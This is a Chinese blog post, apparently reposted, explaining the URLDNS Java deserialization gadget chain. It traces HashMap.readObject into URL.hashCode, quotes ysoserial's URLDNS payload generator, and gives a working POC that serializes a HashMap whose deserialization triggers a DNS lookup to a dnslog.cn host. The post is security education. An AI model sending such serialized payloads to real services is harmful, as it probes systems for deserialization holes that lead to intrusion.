URLDNS利用链分析

news2025/1/20 13:32:59

目录

前言:

(一)原理

(二)利用链

再来分析 URLDNS.java 这个文件,并且在入口处设置断点进行调试:

(三) POC

参考资料


前言:

URLDNS是Java反序列化中比较简单的一个链,由于URLDNS不需要依赖第三方的包,同时不限制jdk的版本,所以通常用于检测反序列化的点,URLDNS并不能执行命令,只能发送DNS请求。

(一)原理


HashMap在反序列化的时候会对传进来的对象进行hash计算获取hashCode,而URL类中的hashCode属性在特殊情况下(hashCode==1)的hashCode计算将触发dns查询

(二)利用链


ysoserial中的URLDNS.java

public class URLDNS implements ObjectPayload<Object> {
 
        public Object getObject(final String url) throws Exception {
 
                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();
 
                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
 
                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
 
                return ht;
        }
 
        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }
 
        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {
 
                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }
 
                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

  • 我们可以看到这里实例化了一个 HashMap 类,这是因为 HashMap 这个类重写了 readObject() 这个方法:

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    ******
        ******  
        s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    ******
        ******
        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
            K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

  • readObject() 中调用了hash(key),继续跟进 hash(key) 方法:

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

  • hash(key)方法中调用key.hashCode()

这个时候就看哪个可以序列化的类中有 hashCode() 方法,且该方法调用了可利用的函数,利用链中给出了URL

  • 再来分析 URLDNS.java 这个文件,并且在入口处设置断点进行调试:

首先实例化了一个 SilentURLStreamHandler 类,目的是防止writeObject时URL实例导致的dns查询,然后再实例化 HashMap 和 URL 的类,这是ht.put(u, url),如图 1-1所示。

图 1-1 SilentURLStreamHandler的参数调用过程

 

这里的url值就是我们传入的参数,后面重点分析,这里查看下 HashMap 类的put()方法,图1-2:

图 1-2 HashMap中put()方法的实现

 这里又调用了putVal()函数,而这里的key就是我们上面的url对象,并且key还是作为hash()方法的参数,继续跟入 hash() 方法,如图 1-3 :

图 1-3 hash()调用hashCode()方法

 

跟入到 hash()方法后,发现这里调用了 key.hashCode(),而这里的key就是 URL 类的实例化对象,继续跟入查看 URL 类的 hashcode()方法,如图 1-4:

图 1-4 URL类中的hashcode()方法

 

而这里当 hashCode 值不为-1时,就会调用 SilentURLStreamHandler 类的 hashCode() 方法,而我们知道,SilentURLStreamHandler 类是 URLStreamHandler 抽象类的子类,再查看其 hashcode()方法,如图 1-5:

图 1-5 hashCode触发DNS请求

 

发现最终会调用 getHostAddress() 方法,该方法会发送DNS请求,于是整条利用链就大概清晰了,非常短

HashMap.readObject()
    HashMap.putVal()
        HashMap.hash()
            URL.hashCode()

最后再看一开始实例化了一个 SilentURLStreamHandler 类,目的是防止序列化调用 writeObject() 时URL实例导致的dns查询,实现的原理为:

static class SilentURLStreamHandler extends URLStreamHandler {
 
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }
 
    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

通过子类重写了 URLStreamHandler 的 getHostAddress() 方法,使其调用时放回null。所以当handler.hashCode()调用getHostAddress()时实际调用的重写后的getHostAddress(),返回了null,所以本机上并不会发送dns请求,又因为handler是transient类型,所以我们自己重写的handler并不会生效,在反序列化时实际调用的还是本来的 URLStreamHandler ,同样可规避本机dns请求与目标机dns请求的混淆,当然我们也可以通过反射机制进行绕过。

(三) POC


import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://j0obud.dnslog.cn/");
        Class clas = Class.forName("java.net.URL");
        Field field = clas.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,123);
        map.put(url,"2333");
        field.set(url,-1);
        try {
            FileOutputStream outputStream = new FileOutputStream("./2.ser");
            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
            outputStream1.writeObject(map);
            outputStream.close();
            outputStream1.close();
            FileInputStream inputStream = new FileInputStream("./2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            inputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

参考资料

ysoserial-调试分析

JAVA反序列化之URLDNS链分析

Java反序列化之URLDNS链

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/44000.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

引擎入门 | Unity UI简介–第2部分(1)

欢迎回来! 在这个三部分教程系列的第二部分中&#xff0c;你将学习如何在用户界面中加入动画。 在上一个部分中你学习并创建了一个带有两个按钮的场景&#xff0c;也学会了如何使用图像、按钮和文本UI控件&#xff0c;并学习了RectTransform、Anchors和Pivots等核心概念&#…

元宇宙的核心技术之我见

14天学习训练营导师课程&#xff1a; 张子良《 元宇宙体系结构、关键技术和实践探索》 前言 提起元宇宙&#xff0c;相比读者都有所耳闻&#xff0c;而且元宇宙最近两年时间里异常的火&#xff0c;堪比之前的人工智能的火爆场景&#xff0c;甚至要超越人工智能的火爆度了。但是…

kubernetes namespace pod label deployment介绍与命令

kubernetes namespace pod label deployment 介绍与命令 1&#xff1a; namespace Namespace是kubernetes系统中的一种非常重要资源&#xff0c;它的主要作用是用来实现多套环境的资源隔离或者多租户的资源隔离。 默认情况下&#xff0c;kubernetes集群中的所有的Pod都是可以…

STM32实战总结:HAL之wifi

关于无线传输的基础知识&#xff0c;参考&#xff1a; 无线通信技术概览_路溪非溪的博客-CSDN博客 学了这么多&#xff0c;发现信息技术主要就是数据的存储、处理以及传输这几个过程。通过各种各样的技术&#xff0c;来实现这几个目标。 wifi模块 现在常用的是wifi模块&#xf…

今天面了个腾讯拿38K出来的,让我见识到了基础的天花板

各大论坛和社区里也看见不少小伙伴慷慨地分享了常见的面试题和八股文&#xff0c;为此咱这里也统一做一次大整理和大归类&#xff0c;这也算是划重点了。 俗话说得好&#xff0c;他山之石&#xff0c;可以攻玉&#xff0c;多看多借鉴还是有帮助的&#xff0c;这次腾讯也在疯狂…

自动化测试如何实施落地?详细教程来了

目录 前言 落地前&#xff1a;分析因素 开展前&#xff1a;评估价值 落地过程&#xff1a;解决问题 推广运营&#xff1a;关注反馈&输出价值 文末总结 重点&#xff1a;配套学习资料和视频教学 前言 这篇文章&#xff0c; 就聊聊自动化项目如何落地&#xff0c;以及…

25. [Python GUI] PyQt5中拖放的基本原理

PyQt5的拖放 拖放涉及到的主要的一些类如下所示&#xff1a; 一、拖放的基本原理 1.1 拖放的动作 拖放操作包括两个动作&#xff1a; 拖动(drag)放下(drop 或称为放置)。 当被拖动时拖动的数据会被存储为 MIME 类型的对象&#xff0c; MIME 类型使用 QMimeData 类来描述。…

C++——new和delete关键字

什么是new和delete new和delete不是函数&#xff0c;和sizeof一样都是C定义的关键字&#xff0c;不同的是sizeof在编译时就可以确定其返回值&#xff0c;而new和delete相对复杂 示例 string *ps new string("hello world");如果换做c语言&#xff0c;上面这句话就…

数据库——数据库备份与恢复

目录 原因&#xff1a; 数据库的备份与恢复&#xff1a; 1、使用MySQLdump命令备份 2、恢复数据库 表的导入和导出 1、表的导出 2、表的导入 原因&#xff1a; 尽管采取了一些管理措施来保证数据库的安全&#xff0c;但是不确定的意外情况总是有可能造成数据的损失&#xff0c;…

数据库理论 05 关系数据库设计——基于《数据库系统概念》第七版

通过E-R图转换得出一组关系模式后 **选择1&#xff1a;**把一些关系模式合并为更大的关系 —— 会产生过多的数据冗余 inst_dept(ID, name, salary, dept_name, building, budget)如果通过E-R模型转换得出如下两个关系模式 sec_class(sec_id, building, room_number) and se…

2023最新SSM计算机毕业设计选题大全(附源码+LW)之java计算机专业建设管理系统3286d

面对老师五花八门的设计要求&#xff0c;首先自己要明确好自己的题目方向&#xff0c;并且与老师多多沟通&#xff0c;用什么编程语言&#xff0c;使用到什么数据库&#xff0c;确定好了&#xff0c;在开始着手毕业设计。 1&#xff1a;选择课题的第一选择就是尽量选择指导老师…

ThreadLocal源码解析 1.运行原理

ThreadLocal源码解析—运行原理 简介 ThreadLocal 类用来提供线程内部的局部变量&#xff0c;这种变量在多线程环境下访问&#xff08;通过 get 和 set 方法访问&#xff09;时能保证各个线程的变量相对独立于其他线程内的变量&#xff0c;分配在堆内的 TLAB 中。 ThreadLoc…

【Mybatis编程:根据若干个id批量删除相册(动态SQL)】

目录 1. 执行的SQL语句 2. 在AlbumMapper.java接口添加抽象方法 3. 在AlbumMapper.xml中配置以上抽象方法映射的SQL语句 4. 标签书写规范 1. 执行的SQL语句 需要执行的SQL语句大致是&#xff1a; delete from pms_album where id? or id? or ... id? delete from pms…

《机器学习实战》10.K-均值聚类算法

目录 利用K-均值聚类算法对未标注数据分组 K-均值聚类算法 2 使用后处理来提高聚类性能 3 二分K-均值算法 4 示例&#xff1a;对地图上的点进行聚类 4.1 Yahoo&#xff01;PlaceFinder API 4.2 对地理坐标进行聚类 5 本章小结 本章涉及到的相关代码和数据 利用K-均值聚…

Unity基本编译环境设置(代码自动补全)

基本说明&#xff1a; 中国 Unity 官网下载地址&#xff1a;https://unity.cn/releases 请下载 Unity HUB 来管理和安装你的 Unity 各种版本 场景一&#xff1a; Windows系统 &#xff5c;Unity 2020之前的版本 &#xff5c;Visual Studio Community编辑器 电脑中没有任何…

并发控制常用定位方法及解决措施

并发控制常用定位方法及解决措施 7.1 排队问题 出现业务阻塞、性能下降、查询无响应等类似现网问题时&#xff0c;通过以下方法可以排查是否排队问题并定位排队原因&#xff0c;同时根据排队原因给出相应规避措施。 7.1.1 确认是否排队 首先确认是否排队问题&#xff0c;其…

力扣(LeetCode)2095. 删除链表的中间节点(C++)

快慢指针 设置哑结点&#xff0c;便于删除头结点。找到链表的中间结点&#xff0c;可以用快慢指针从头结点出发&#xff0c;慢指针最后停在中间结点。删除中间结点&#xff0c;应当找中间结点的前一个结点。于是想到加入哑结点&#xff0c;这样初始快慢指针既可以往前一个位置…

RADServer应用程序的交钥匙应用程序基础

RADServer应用程序的交钥匙应用程序基础 RADServer是快速构建和部署基于服务的应用程序的交钥匙应用程序基础。RAD Server提供自动化的Delphi和CREST/JSON API发布和管理、企业数据库集成中间件、IoT Edgeware和一系列应用程序服务&#xff0c;如用户目录和身份验证服务、推送通…

retimer芯片调式总结

1,主备状态是否ok。 看里面的0-3工作在Master(master Active), 4-7 工作在Master(wait master),主控0-3,备控4-7. current postion说明: typedef enum {VEGA_HMUX_SWITCH_TO_MASTER = 0,VEGA_HMUX_SWITCH_TO_SLAVE = 1,VEGA_HMUX_SWITCH_TO_PATTERN = 2,VEGA_HMUX_SWITC…

VSCode配置ssh连接本地wsl方法

1、首先需要安装插件Remote-SSH 2、其次在wsl子系统中安装ssh服务并设置允许密码登入 3、开启ssh服务并查看wsl子系统的IP地址 4、返回vscode里面的Remote SSH插件&#xff0c;点击下图中的那个号进行设置&#xff1a; 首先输入的是连接名字 &#xff0c;按enter键确认之后选…